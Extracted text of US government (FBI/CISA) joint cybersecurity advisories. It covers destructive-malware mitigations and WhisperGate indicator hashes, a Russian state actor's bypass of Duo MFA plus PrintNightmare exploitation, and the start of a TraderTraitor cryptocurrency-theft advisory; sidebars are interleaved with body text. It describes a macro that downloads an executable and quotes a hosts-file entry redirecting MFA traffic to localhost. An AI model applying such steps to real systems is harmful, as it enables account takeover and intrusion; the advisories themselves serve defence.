+systems throughout a network. As a result, it is important for organizations to assess their
+environment for atypical channels for malware delivery and/or propagation throughout their systems.
+Systems to assess include:
+Enterprise applications 
+ particularly those that have the capability to directly interface with
+and impact multiple hosts and endpoints. Common examples include:
+o Patch management systems,
+o Asset management systems,
+o Remote assistance software (typically used by the corporate help desk),
+o Antivirus (AV) software,
+o Systems assigned to system and network administrative personnel,
+o Centralized backup servers, and
+o Centralized file shares.
+While not only applicable to malware, threat actors could compromise additional resources to impact
+the availability of critical data and applications. Common examples include:
+Centralized storage devices
+o Potential risk 
+ direct access to partitions and data warehouses.
+Network devices
+o Potential risk 
+ capability to inject false routes within the routing table, delete specific
+routes from the routing table, remove/modify configuration attributes, or destroy
+firmware or system binaries
+which could isolate or degrade availability of critical
+network resources.
+Page 5 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+Best Practices and Planning Strategies
+Common strategies can be followed to strengthen an organization
+s resilience against destructive
+malware. Targeted assessment and enforcement of best practices should be employed for enterprise
+components susceptible to destructive malware.
+Communication Flow
+Ensure proper network segmentation.
+Ensure that network-based access control lists (ACLs) are configured to permit server-to-host
+and host-to-host connectivity via the minimum scope of ports and protocols and that
+directional flows for connectivity are represented appropriately.
+o Communications flow paths should be fully defined, documented, and authorized.
+Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or
+directly connect to additional endpoints throughout the enterprise.
+o Ensure that these systems are contained within restrictive Virtual Local Area Networks
+(VLANs), with additional segmentation and network access controls.
+Ensure that centralized network and storage devices
+ management interfaces reside on
+restrictive VLANs.
+o Layered access control, and
+o Device-level access control enforcement 
+ restricting access from only pre-defined
+VLANs and trusted IP ranges.
+Access Control
+For enterprise systems that can directly interface with multiple endpoints:
+o Require multifactor authentication for interactive logons.
+o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
+ If possible, the 
+Everyone,
+Domain Users,
+ or the 
+Authenticated Users
+groups should not be permitted the capability to directly access or authenticate
+to these systems.
+o Ensure that unique domain accounts are used and documented for each enterprise
+application service.
+ Context of permissions assigned to these accounts should be fully documented
+and configured based upon the concept of least privilege.
+ Provides an enterprise with the capability to track and monitor specific actions
+correlating to an application
+s assigned service account.
+o If possible, do not grant a service account with local or interactive logon permissions.
+ Service accounts should be explicitly denied permissions to access network
+shares and critical data locations.
+o Accounts that are used to authenticate to centralized enterprise application servers or
+devices should not contain elevated permissions on downstream systems and
+resources throughout the enterprise.
+Continuously review centralized file share ACLs and assigned permissions.
+o Restrict Write/Modify/Full Control permissions when possible.
+Monitoring
+Audit and review security logs for anomalous references to enterprise-level administrative
+(privileged) and service accounts.
+Page 6 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+o Failed logon attempts,
+o File share access, and
+o Interactive logons via a remote session.
+Review network flow data for signs of anomalous activity, including:
+o Connections using ports that do not correlate to the standard communications flow
+associated with an application,
+o Activity correlating to port scanning or enumeration, and
+o Repeated connections using ports that can be used for command and control
+purposes.
+Ensure that network devices log and audit all configuration changes.
+o Continually review network device configurations and rule sets to ensure that
+communications flows are restricted to the authorized subset of rules.
+File Distribution
+When deploying patches or AV signatures throughout an enterprise, stage the distributions to
+include a specific grouping of systems (staggered over a pre-defined period).
+o This action can minimize the overall impact in the event that an enterprise patch
+management or AV system is leveraged as a distribution vector for a malicious
+payload.
+Monitor and assess the integrity of patches and AV signatures that are distributed throughout
+the enterprise.
+o Ensure updates are received only from trusted sources,
+o Perform file and data integrity checks, and
+o Monitor and audit 
+ as related to the data that is distributed from an enterprise
+application.
+System and Application Hardening
+Ensure robust vulnerability management and patching practices are in place.
+o CISA maintains a living catalog of known exploited vulnerabilities that carry significant
+risk to federal agencies as well as public and private sectors entities. In addition to
+thoroughly testing and implementing vendor patches in a timely
+and, if possible,
+automated
+manner, organizations should ensure patching of the vulnerabilities CISA
+includes in this catalog.
+Ensure that the underlying operating system (OS) and dependencies (e.g., Internet
+Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an
+application are configured and hardened based upon industry-standard best practice
+recommendations. Implement application-level security controls based on best practice
+guidance provided by the vendor. Common recommendations include:
+o Use role-based access control,
+o Prevent end-user capabilities to bypass application-level security controls,
+ For example, do not allow users to disable AV on local workstations.
+o Remove, or disable unnecessary or unused features or packages, and
+o Implement robust application logging and auditing.
+Page 7 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+Recovery and Reconstitution Planning
+A business impact analysis (BIA) is a key component of contingency planning and preparation. The
+overall output of a BIA will provide an organization with two key components (as related to critical
+mission/business operations):
+Characterization and classification of system components, and
+Interdependencies.
+Based upon the identification of an organization
+s mission critical assets (and their associated
+interdependencies), in the event that an organization is impacted by destructive malware, recovery
+and reconstitution efforts should be considered.
+To plan for this scenario, an organization should address the availability and accessibility for the
+following resources (and should include the scope of these items within incident response exercises
+and scenarios):
+Comprehensive inventory of all mission critical systems and applications:
+o Versioning information,
+o System/application dependencies,
+o System partitioning/storage configuration and connectivity, and
+o Asset owners/points of contact.
+Contact information for all essential personnel within the organization,
+Secure communications channel for recovery teams,
+Contact information for external organizational-dependent resources:
+o Communication providers,
+o Vendors (hardware/software), and
+o Outreach partners/external stakeholders
+Service contract numbers 
+ for engaging vendor support,
+Organizational procurement points of contact,
+Optical disc image (ISO)/image files for baseline restoration of critical systems and
+applications:
+o OS installation media,
+o Service packs/patches,
+o Firmware, and
+o Application software installation packages.
+Licensing/activation keys for OS and dependent applications,
+Enterprise network topology and architecture diagrams,
+System and application documentation,
+Hard copies of operational checklists and playbooks,
+System and application configuration backup files,
+Data backup files (full/differential),
+System and application security baseline and hardening checklists/guidelines, and
+System and application integrity test and acceptance checklists.
+Incident Response
+Victims of a destructive malware attacks should immediately focus on containment to reduce the
+scope of affected systems. Strategies for containment include:
+Page 8 of 16 | Product ID: AA22-057A
+TLP:WHITE
+TLP:WHITE
+CISA | FBI
+Determining a vector common to all systems experiencing anomalous behavior (or having
+been rendered unavailable)
+from which a malicious payload could have been delivered:
+o Centralized enterprise application,
+o Centralized file share (for which the identified systems were mapped or had access),
+o Privileged user account common to the identified systems,
+o Network segment or boundary, and
+o Common Domain Name System (DNS) server for name resolution.
+Based upon the determination of a likely distribution vector, additional mitigation controls can
+be enforced to further minimize impact:
+o Implement network-based ACLs to deny the identified application(s) the capability to
+directly communicate with additional systems,
+ Provides an immediate capability to isolate and sandbox specific systems or
+resources.
+o Implement null network routes for specific IP addresses (or IP ranges) from which the
+payload may be distributed,
+ An organization
+s internal DNS can also be leveraged for this task, as a null
+pointer record could be added within a DNS zone for an identified server or
+application.
+o Readily disable access for suspected user or service account(s),
+o For suspect file shares (which may be hosting the infection vector), remove access or
+disable the share path from being accessed by additional systems, and
+o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g.,
+changing golden/silver tickets).
+As related to incident response and incident handling, organizations are encouraged to report
+incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in
+internal investigation of the incident or for possible law enforcement purposes. See Technical
+Approaches to Uncovering and Remediating Malicious Activity for more information.
+CONTACT
+All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at
+central@cisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI
+24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
+RESOURCES
+Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical
+Infrastructure
+Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across
+Operational Technologies and Control Systems
+Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems
+CISA and MS-ISAC: Joint Ransomware Guide
+NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events
+NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events
+Page 9 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical
+infrastructure organizations assess, identify and reduce their exposure to threats, including
+ransomware. By requesting and leveraging these services, organizations of any size could find
+ways to reduce their risk and mitigate attack vectors.
+UPDATED APRIL 28, 2022:
+APPENDIX: Additional IOCS Associated with WhisperGate
+The hashes in Table 3 contain malicious binaries, droppers, and macros linked to WhisperGate cyber
+actors activity. The binaries are predominantly .Net and are obfuscated. Obfuscation varies; some of
+the binaries contain multiple layers of obfuscation. Analysis identified multiple uses of string reversal,
+character replacement, base64 encoding, and packing. Additionally, the malicious binaries contain
+multiple defenses including VM checks, sandbox detection and evasion, and anti-debugging
+techniques. Finally, the sleep command was used in varying lengths via PowerShell to obfuscate
+execution on a victim
+s network.
+All Microsoft .doc files contain a malicious macro that is base64 encoded. Upon enabling the macro,
+a PowerShell script runs a sleep command and then downloads a file from an external site. The script
+connects to the external website via HTTP to download an executable. Upon download, the
+executable is saved to C:\Users\Public\Documents\ filepath on the victim host.
+An identified zip file was found to contain the Microsoft Word file macro_t1smud.doc. Once the
+macro is enabled, a bash script runs a sleep command and the script connects to
+htxxps://the.earth.li/~sgtatham/putty/latest/w32/putty.exe. This binary is likely the
+legitimate Putty Secure Shell binary. Upon download the file is saved to
+C:\Users\Public\Documents\ file path.
+Profile of Malicious Hashes
+Saintbot (and related .Net loaders)
+WhisperGate Malware and related VB files
+Quasar RAT
+.NET Infostealer malware
+Telegram Bot
+Multiple Loaders (mostly utilizing PowerShell that pull down a jpg or bin files)
+Jpg/PNG files = obfuscated executables
+antidef.bat = likely a bat file to disable Windows Defender
+Table 3: Additional IOCs associated with WhisperGate
+Hash
+Associated Files
+647ebdca2ef6b74b17bb126df19bf0ed88341650
+loader2132.exe
+24f71409bde9d01e3519236e66f3452236302e46
+saint.exe
+Page 10 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+1e3497ac435936be06ba665a4acd06b850cf56b4
+loader.exe
+981319f00b654d0142430082f2e636ef69a377d9
+Yudjcfoyg.exe
+e0dbe49c9398a954095ee68186f391c288b9fcc5
+Project_1.exe
+0ba64c284dc0e13bc3f7adfee084ed25844da3d2
+Hjtiyz.jpg
+6b8eab6713abb7c1c51701f12f23cdff2ff3a243
+Ltfckzl.jpg
+3bbb84206f0c81f7fd57148f913db448a8172e92
+Vgdnggv.jpg
+7c77b1c72a2228936e4989de2dfab95bfbbbc737
+Pfiegomql.jpg
+c0cd6f8567df73e9851dbca4f7c4fbfe4813a2e1
+Fezpwij.jpg
+d6830184a413628db9946faaae8b08099c0593a0
+Bqpptgcal.jpg
+d083da96134924273a7cbc8b6c51c1e92de4f9e1
+loader.jpg
+d599f16e60a916f38f201f1a4e6d73cb92822502
+Debythht.jpg
+9b9374a5e376492184a368fcc6723a7012132eae
+Dmhdgocsp.jpg
+86bd95db7b514ea0185dba7876fa612fae42b715
+Zysyrokzk.jpg
+e7917df9feabfedae47d8b905136d52cb5cb7f37
+Baeipiyd.jpg
+b2d863fc444b99c479859ad7f012b840f896172e
+Tbopbh.jpg
+d85e1614cf4a1e9ec632580b62b0ecb5f8664352
+Lxkdjr.jpg
+08f0b0d66d370151fd8a265b1f9be8be61cc1aa9
+Twojt.bin
+5ac592332a406d5b2dcfc81b131d261da7e791d2
+Rvlxi.bin
+052825569c880212e1e39898d387ef50238aaf35
+Yarfe.bin
+4c2a0f44b176ba83347062df1d56919a25445568
+Ftvqpq.bin
+d51214461fc694a218a01591c72fe89af0353bc1
+Pkbsu.bin
+1125b2c3c91491aa71e0536bb9a8a1b86ff8f641
+Pkcxiu.bin
+37f54f121bcae65b4b3dd680694a11c5a5dfc406
+loader.bin
+4facd9a973505bb00eb1fd9687cbab906742df73
+loader.bin
+376a2339cbbb94d33f82dea2ea78bb011485e0d9
+Qmpnrffn.bin
+b6793fc62b27ee3cce24e9e63e3108a777f71904
+Vpzhote.bin
+1fc463b2f53ba0889c90cc2b7866afae45a511de
+Yymmdbfrb.bin
+ff71f9defc2dd27b488d961ce0fbc6ece56b2962
+Zlhmmwutx.bin
+13ca079770f6f9bdddfea5f9d829889dc1fbc4ed
+Xhlnfjeqy.bin
+Page 11 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+c99c982d1515ade3da81268e79f5e5f7d550aabd
+Gpfsqm.png
+d6ffa42548ff12703e38c5db6c9c39c34fe3d82a
+Ktlbo.png
+bd5116865bcf066758f817ba9385cc7d001ecad9
+Vgdnggv.png
+034c0d73b21cf17c25c086d19a6ef3bb8a06bab7
+Rsscffiiu.png
+69e4efc8000a473d2b2c0067f317b22664453205
+loader.png
+424f7a756f72f1da9012859bf86ad7651bafa937
+Wmztvc.png
+6c64e1f2ba11ecff5e899f880d14da42acf3f699
+Ygxdlt.png
+fa8a373e837d7be2fce0bfe073a6fdeaefc56ca1
+Fewbfaklk.png
+0eccc0aa674fd9fc27023c70067e630fd5d21cd6
+www.google.png
+6e11c3e119499f11b83787cc4bb5f2751bd90219
+Nxoaa.com
+8a93bfd9e70611547a420971662d113b6b3c6234
+Lxkdjr.com
+b19d5f0d8696271aff5af616b91a4cdc73981934
+www.google.com
+b5e3e65cd6b09b17d4819a1379dde7db3e33813b
+Cpdfx.jpeg
+d92e315f3c290a7e71950480f074af5b59e8bd3d
+Mtubbb.jpeg
+fb83899dc633c59a8473a3048c9aacce7e1bf8d8
+Kzwolw.jpeg
+5fbd9bd73040d7a2cac0fc21d2fe29ebe57fb597
+Fczdcmep.jpeg
+90fa56e79765d27d35706d028d32dc5be7efb623
+Jdeiipc.jpeg
+cd8ef5a2543a2535416655f861c574c63e9008ea
+5415.jpeg
+72a45d6bfde93eb92a7b7a1ea284f35e1d24203a
+000.jpeg
+d2a697fc1b61888c49a48ce094e400b62a71201d
+Ofewufeiy.exe
+bddb6994656659d098d6040dc895e90877fb1266
+load.exe
+00d6c66ab2fd1810628d13980cc73275884933b1
+loader.exe
+12f50a97955497c49f9603ea2531384e430f0df5
+loader.exe
+27c176bbd3e254d5e46ccb865d29c8c166ba4a9f
+Wdlord.bin
+88c76d31b046227d82f94db87697b25e482eb398
+Ofewufeiy.bin
+2e113050a81bbd0774db7e86fad4abd44e5b6ec2
+Bdfjvu.bin
+db370ee79d9b4bd44e07f425d7b06beffc8bdded
+Jdnpanki.bin
+88e5bf24bd0f01778217c4fcdb37b76929c2d32b
+downloader.bin
+f6acdc16c695c3c219116aea3d585efedcafdab5
+up74987340.bin
+Page 12 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
+c3181fd7cb463893fc73974acc0016605d90ef6c
+Tdivhgry.png
+731dab83ef1d02203db64fbefbe59f3791db1e21
+Mbowytboz.png
+50566fdea2f4b8a3466427f9c6798dabe2587823
+Tlmbluje.png
+5dbd68dd3bab6f3a06e303d68bb23e37994084eb
+loader.png
+ac618c4ece55eca2b067bedd2ce963b8ada30b40
+antidef.bat
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+TLP:WHITE
+CISA | FBI
+TLP:WHITE
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+TLP:WHITE
+CISA | FBI
+TLP:WHITE
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+Page 15 of 16 | Product ID: AA22-057A
+TLP:WHITE
+CISA | FBI
+TLP:WHITE
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+1.rar
+Page 16 of 16 | Product ID: AA22-057A
+TLP:WHITE
+TLP:WHITE
+Product ID: AA22-074A
+March 15, 2022
+Russian State-Sponsored Cyber Actors Gain
+Network Access by Exploiting Default
+Multifactor Authentication Protocols and
+PrintNightmare
+ Vulnerability
+SUMMARY
+The Federal Bureau of Investigation (FBI) and
+Multifactor Authentication (MFA):
+Cybersecurity and Infrastructure Security
+A Cybersecurity Essential
+Agency (CISA) are releasing this joint
+MFA is one of the most important
+Cybersecurity Advisory (CSA) to warn
+cybersecurity practices to reduce the risk of
+organizations that Russian state-sponsored
+intrusions
+according to industry research,
+cyber actors have gained network access
+users who enable MFA are up to 99 percent
+through exploitation of default MFA protocols
+less likely to have an account compromised.
+and a known vulnerability. As early as May
+2021, Russian state-sponsored cyber actors
+Every organization should enforce MFA for all
+took advantage of a misconfigured account set
+employees and customers, and every user
+to default MFA protocols at a non-governmental
+should sign up for MFA when available.
+organization (NGO), allowing them to enroll a
+Organizations that implement MFA should
+new device for MFA and access the victim
+review default configurations and modify as
+network. The actors then exploited a critical
+necessary, to reduce the likelihood that a
+Windows Print Spooler vulnerability,
+sophisticated adversary can circumvent this
+PrintNightmare
+ (CVE-2021-34527) to run
+control.
+arbitrary code with system privileges. Russian
+state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using
+Cisco
+s Duo MFA, enabling access to cloud and email accounts for document exfiltration.
+This advisory provides observed tactics, techniques, and procedures, indicators of compromise
+(IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity.
+To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact
+your local FBI field office at fbi.gov/contact-us/field-offices, or the FBI
+s 24/7 Cyber Watch (CyWatch) at (855)
+292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding
+the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment
+used for the activity; the name of the submitting company or organization; and a designated point of contact. To
+request incident response resources or technical assistance related to these threats, contact CISA at
+report@cisa.gov.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information
+carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public
+release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
+For more information on the Traffic Light Protocol, see cisa.gov/tlp/.
+TLP:WHITE
+FBI | CISA
+TLP:WHITE
+FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this
+advisory, including the following:
+Enforce MFA and review configuration policies to protect against 
+fail open
+ and re-enrollment
+scenarios.
+Ensure inactive accounts are disabled uniformly across the Active Directory and MFA
+systems.
+Patch all systems. Prioritize patching for known exploited vulnerabilities.
+For more general information on Russian state-sponsored malicious cyber activity, see CISA's Russia
+Cyber Threat Overview and Advisories webpage. For more information on the threat of Russian statesponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation
+recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber
+Threats to U.S. Critical Infrastructure and CISA
+s Shields Up Technical Guidance webpage.
+For a downloadable copy of IOCs, see AA22-074A.stix.
+TECHNICAL DETAILS
+Threat Actor Activity
+Note: This advisory uses the MITRE ATT&CK
+ for Enterprise framework, version 10. See appendix A for a
+table of the threat actors
+ activity mapped to MITRE ATT&CK tactics and techniques.
+As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an
+NGO, exploit a flaw in default MFA protocols, and move laterally to the NGO
+s cloud environment.
+Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via
+compromised credentials [T1078] and enrolling a new device in the organization
+s Duo MFA. The
+actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001],
+allowing them access to a victim account with a simple, predictable password. The victim account had
+been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active
+Directory. As Duo
+s default configuration settings allow for the re-enrollment of a new device for
+dormant accounts, the actors were able to enroll a new device for this account, complete the
+authentication requirements, and obtain access to the victim network.
+Using the compromised account, Russian state-sponsored cyber actors performed privilege
+escalation [TA0004] via exploitation of the 
+PrintNightmare
+ vulnerability (CVE-2021-34527) [T1068]
+to obtain administrator privileges. The actors also modified a domain controller file,
+c:\windows\system32\drivers\etc\hosts, redirecting Duo MFA calls to localhost instead of the
+Duo server [T1556]. This change prevented the MFA service from contacting its server to validate
+MFA login
+this effectively disabled MFA for active domain accounts because the default policy of
+Duo for Windows is to 
+fail open
+ if the MFA server is unreachable. Note: 
+Fail open
+ can happen to
+any MFA implementation and is not exclusive to Duo.
+After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully
+authenticate to the victim
+s virtual private network (VPN) as non-administrator users and make
+Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133]. The actors ran
+Page 2 of 7 | Product ID: AA22-074A
+TLP:WHITE
+FBI | CISA
+TLP:WHITE
+commands to obtain credentials for additional domain accounts; then, using the method described in
+the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly
+compromised accounts. The actors leveraged mostly internal Windows utilities already present within
+the victim network to perform this activity.
+Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors
+were able to move laterally [TA0008] to the victim
+s cloud storage and email accounts and access
+desired content.
+Indicators of Compromise
+Russian state-sponsored cyber actors executed the following processes:
+ping.exe 
+ A core Windows Operating System process used to perform the Transmission
+Control Protocol (TCP)/IP Ping command; used to test network connectivity to a remote host
+[T1018] and is frequently used by actors for network discovery [TA0007].
+regedit.exe 
+ A standard Windows executable file that opens the built-in registry editor
+[T1112].
+rar.exe 
+ A data compression, encryption, and archiving tool [T1560.001]. Malicious cyber
+actors have traditionally sought to compromise MFA security protocols as doing so would
+provide access to accounts or information of interest.
+ntdsutil.exe 
+ A command-line tool that provides management facilities for Active Directory
+Domain Services. It is possible this tool was used to enumerate Active Directory user
+accounts [T1003.003].
+Actors modified the c:\windows\system32\drivers\etc\hosts file to prevent communication with
+the Duo MFA server:
+127.0.0.1 api-<redacted>.duosecurity.com
+The following access device IP addresses used by the actors have been identified to date:
+45.32.137[.]94
+191.96.121[.]162
+173.239.198[.]46
+157.230.81[.]39
+MITIGATIONS
+The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber
+actors exploiting default MFA protocols and exfiltrating sensitive information. Organizations should:
+Enforce MFA for all users, without exception. Before implementing, organizations should
+review configuration policies to protect against 
+fail open
+ and re-enrollment scenarios.
+Implement time-out and lock-out features in response to repeated failed login attempts.
+Page 3 of 7 | Product ID: AA22-074A
+TLP:WHITE
+FBI | CISA
+TLP:WHITE
+Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems
+etc.
+Update software, including operating systems, applications, and firmware on IT network
+assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially critical
+and high vulnerabilities that allow for remote code execution or denial-of-service on internetfacing equipment.
+Require all accounts with password logins (e.g., service account, admin accounts, and domain
+admin accounts) to have strong, unique passwords. Passwords should not be reused across
+multiple accounts or stored on the system where an adversary may have access.
+Continuously monitor network logs for suspicious activity and unauthorized or unusual login
+attempts.
+Implement security alerting policies for all changes to security-enabled accounts/groups, and
+alert on suspicious process creation events (ntdsutil, rar, regedit, etc.).
+Note: If a domain controller compromise is suspected, a domain-wide password reset
+including service
+accounts, Microsoft 365 (M365) synchronization accounts, and krbtgt
+will be necessary to remove the
+actors
+ access. (For more information, see https://docs.microsoft.com/en-us/answers/questions/87978/resetkrbtgt-password.html). Consider soliciting support from a third-party IT organization to provide subject matter
+expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on
+exploitation.
+FBI and CISA also recommend organizations implement the recommendations listed below to further
+reduce the risk of malicious cyber activity.
+Security Best Practices
+Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB)
+Signing, restrict Administrative privileges (local admin users, groups, etc.), and review
+sensitive materials on domain controller
+s SYSVOL share.
+Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint
+detection and response (EDR) are deployed to all endpoints and enabled.
+Routinely verify no unauthorized system modifications, such as additional accounts and
+Secure Shell (SSH) keys, have occurred to help detect a compromise. To detect these
+modifications, administrators can use file integrity monitoring software that alerts an
+administrator or blocks unauthorized changes on the system.
+Network Best Practices
+Monitor remote access/RDP logs and disable unused remote access/RDP ports.
+Deny atypical inbound activity from known anonymization services, to include commercial
+VPN services and The Onion Router (TOR).
+Implement listing policies for applications and remote access that only allow systems to
+execute known and permitted programs under an established security policy.
+Page 4 of 7 | Product ID: AA22-074A
+TLP:WHITE
+FBI | CISA
+TLP:WHITE
+Regularly audit administrative user accounts and configure access control under the concept
+of least privilege.
+Regularly audit logs to ensure new accounts are legitimate users.
+Scan networks for open and listening ports and mediate those that are unnecessary.
+Maintain historical network activity logs for at least 180 days, in case of a suspected
+compromise.
+Identify and create offline backups for critical assets.
+Implement network segmentation.
+Automatically update anti-virus and anti-malware solutions and conduct regular virus and
+malware scans.
+Remote Work Environment Best Practices
+With the increased use of remote work environments and VPN services, the FBI and CISA encourage
+organizations to implement the following best practices to improve network security:
+Regularly update VPNs, network infrastructure devices, and devices used for remote work
+environments with the latest software patches and security configurations.
+When possible, implement multi-factor authentication on all VPN connections. Physical
+security tokens are the most secure form of MFA, followed by authenticator applications.
+When MFA is unavailable, require employees engaging in remote work to use strong
+passwords.
+Monitor network traffic for unapproved and unexpected protocols.
+Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a
+point of entry for cyber actors.
+User Awareness Best Practices
+Cyber actors frequently use unsophisticated methods to gain initial access, which can often be
+mitigated by stronger employee awareness of indicators of malicious activity. The FBI and CISA
+recommend the following best practices to improve employee operations security when conducting
+business:
+Provide end-user awareness and training. To help prevent targeted social engineering and
+spearphishing scams, ensure that employees and stakeholders are aware of potential cyber
+threats and delivery methods. Also, provide users with training on information security
+principles and techniques.
+Inform employees of the risks associated with posting detailed career information to social or
+professional networking sites.
+Ensure that employees are aware of what to do and whom to contact when they see
+suspicious activity or suspect a cyber incident, to help quickly and efficiently identify threats
+and employ mitigation strategies.
+Page 5 of 7 | Product ID: AA22-074A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA
+INFORMATION REQUESTED
+All organizations should report incidents and anomalous activity to the FBI via your local FBI field
+office or the FBI
+s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov and/or CISA
+s 24/7
+Operations Center at report@cisa.gov or (888) 282-0870.
+Page 6 of 7 | Product ID: AA22-074A
+TLP:WHITE
+FBI | CISA
+TLP:WHITE
+APPENDIX A: THREAT ACTOR TACTICS AND TECHNIQUES
+See table 1 for the threat actors
+ tactics and techniques identified in this CSA. See the ATT&CK for
+Enterprise for all referenced threat actor tactics and techniques.
+Table 1: Threat Actor MITRE ATT&CK Tactics and Techniques
+Tactic
+Technique
+Initial Access [TA0001]
+Valid Accounts [T1078]
+Persistence [TA0003]
+External Remote Services [T1133]
+Modify Authentication Process [T1556]
+Privilege Escalation [TA0004]
+Exploitation for Privilege Escalation [T1068]
+Defense Evasion [TA0005]
+Modify Registry [T1112]
+Credential Access [TA0006]
+Brute Force: Password Guessing
+[T1110.001]
+OS Credential Dumping: NTDS [T1003.003]
+Discovery [TA0007]
+Remote System Discovery [T1018]
+Lateral Movement [TA0008]
+Collection [TA0009]
+Archive Collected Data: Archive via Utility
+[T1560.001]
+Page 7 of 7 | Product ID: AA22-074A
+TLP:WHITE
+Co-Authored by:
+TLP:WHITE
+Product ID: A22-108A
+April 18, 2022
+TraderTraitor: North Korean State-Sponsored
+APT Targets Blockchain Companies
+SUMMARY
+Actions to take today to mitigate
+The Federal Bureau of Investigation (FBI), the
+cyber threats to cryptocurrency:
+Cybersecurity and Infrastructure Security Agency (CISA),
+and the U.S. Treasury Department (Treasury) are issuing
+ Patch all systems.
+this joint Cybersecurity Advisory (CSA) to highlight the
+ Prioritize patching known
+cyber threat associated with cryptocurrency thefts and
+exploited vulnerabilities.
+tactics used by a North Korean state-sponsored advanced
+ Train users to recognize and
+persistent threat (APT) group since at least 2020. This
+report phishing attempts.
+group is commonly tracked by the cybersecurity industry as
+ Use multifactor authentication.
+Lazarus Group, APT38, BlueNoroff, and Stardust Chollima.
+For more information on North Korean state-sponsored
+malicious cyber activity, visit https://www.us-cert.cisa.gov/northkorea.
+The U.S. government has observed North Korean cyber actors targeting a variety of organizations in
+the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges,
+decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency
+trading companies, venture capital funds investing in cryptocurrency, and individual holders of large
+amounts of cryptocurrency or valuable non-fungible tokens (NFTs). The activity described in this
+advisory involves social engineering of victims using a variety of communication platforms to
+encourage individuals to download trojanized cryptocurrency applications on Windows or macOS
+operating systems. The cyber actors then use the applications to gain access to the victim
+To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact
+your local FBI field office at www.fbi.gov/contact-us/field, or the FBI
+s 24/7 Cyber Watch (CyWatch) at
+(855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information
+regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of
+equipment used for the activity; the name of the submitting company or organization; and a designated point of
+contact. To request incident response resources or technical assistance related to these threats, contact CISA at
+report@cisa.gov.
+DISCLAIMER: The information in this advisory is provided "as is" for informational purposes only. The FBI,
+CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any
+commercial product or service, including any subjects of analysis.
+This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when
+information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and
+procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed
+without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.
+TLP:WHITE
+FBI | CISA | Treasury
+TLP:WHITE
+computer, propagate malware across the victim
+s network environment, and steal private keys or
+exploit other security gaps. These activities enable additional follow-on activities that initiate
+fraudulent blockchain transactions.
+The U.S. government previously published an advisory about North Korean state-sponsored cyber
+actors using AppleJeus malware to steal cryptocurrency: AppleJeus: Analysis of North Korea
+Cryptocurrency Malware. The U.S. government has also previously published advisories about North
+Korean state-sponsored cyber actors stealing money from banks using custom malware:
+HIDDEN COBRA 
+ FASTCash Campaign
+FASTCash 2.0: North Korea
+s BeagleBoyz Robbing Banks
+This advisory provides information on tactics, techniques, and procedures (TTPs) and indicators of
+compromise (IOCs) to stakeholders in the blockchain technology and cryptocurrency industry to help
+them identify and mitigate cyber threats against cryptocurrency.
+TECHNICAL DETAILS
+Threat Update
+The U.S. government has identified a group of North Korean state-sponsored malicious cyber actors
+using tactics similar to the previously identified Lazarus Group (see AppleJeus: Analysis of North
+Korea
+s Cryptocurrency Malware). The Lazarus Group used AppleJeus trojanized cryptocurrency
